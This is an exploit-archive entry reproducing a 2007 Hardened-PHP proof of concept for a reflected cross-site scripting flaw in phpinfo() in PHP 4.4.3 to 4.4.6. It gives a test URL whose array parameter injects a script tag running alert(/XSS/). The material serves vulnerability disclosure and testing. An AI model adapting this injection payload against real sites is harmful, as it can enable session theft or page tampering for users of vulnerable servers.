PHP 4.4.3 - 4.4.6 phpinfo() Remote XSS Vulnerability

2007-03-04T00:00:00
ID 1337DAY-ID-8858
Type zdt
Reporter Stefan Esser
Modified 2007-03-04T00:00:00

Description

Exploit for multiple platform in category remote exploits

                                        
                                            ====================================================
PHP 4.4.3 - 4.4.6 phpinfo() Remote XSS Vulnerability
====================================================


  ////////////////////////////////////////////////////////////////////////
  //  _  _                _                     _       ___  _  _  ___  //
  // | || | __ _  _ _  __| | ___  _ _   ___  __| | ___ | _ \| || || _ \ //
  // | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___||  _/| __ ||  _/ //
  // |_||_|\__,_||_|  \__,_|\___||_||_|\___|\__,_|     |_|  |_||_||_|   //
  //                                                                    //
  //         Proof of concept code from the Hardened-PHP Project        //
  //                   (C) Copyright 2007 Stefan Esser                  //
  //                                                                    //
  ////////////////////////////////////////////////////////////////////////
  //                    PHP 4 - phpinfo() XSS Testcase                  //
  ////////////////////////////////////////////////////////////////////////

To manually test for this vulnerability just call the phpinfo() page with a parameter like this.

http://localhost/phpinfo.php?a[]=<script>alert(/XSS/);</script>




#  0day.today [2018-02-06]  #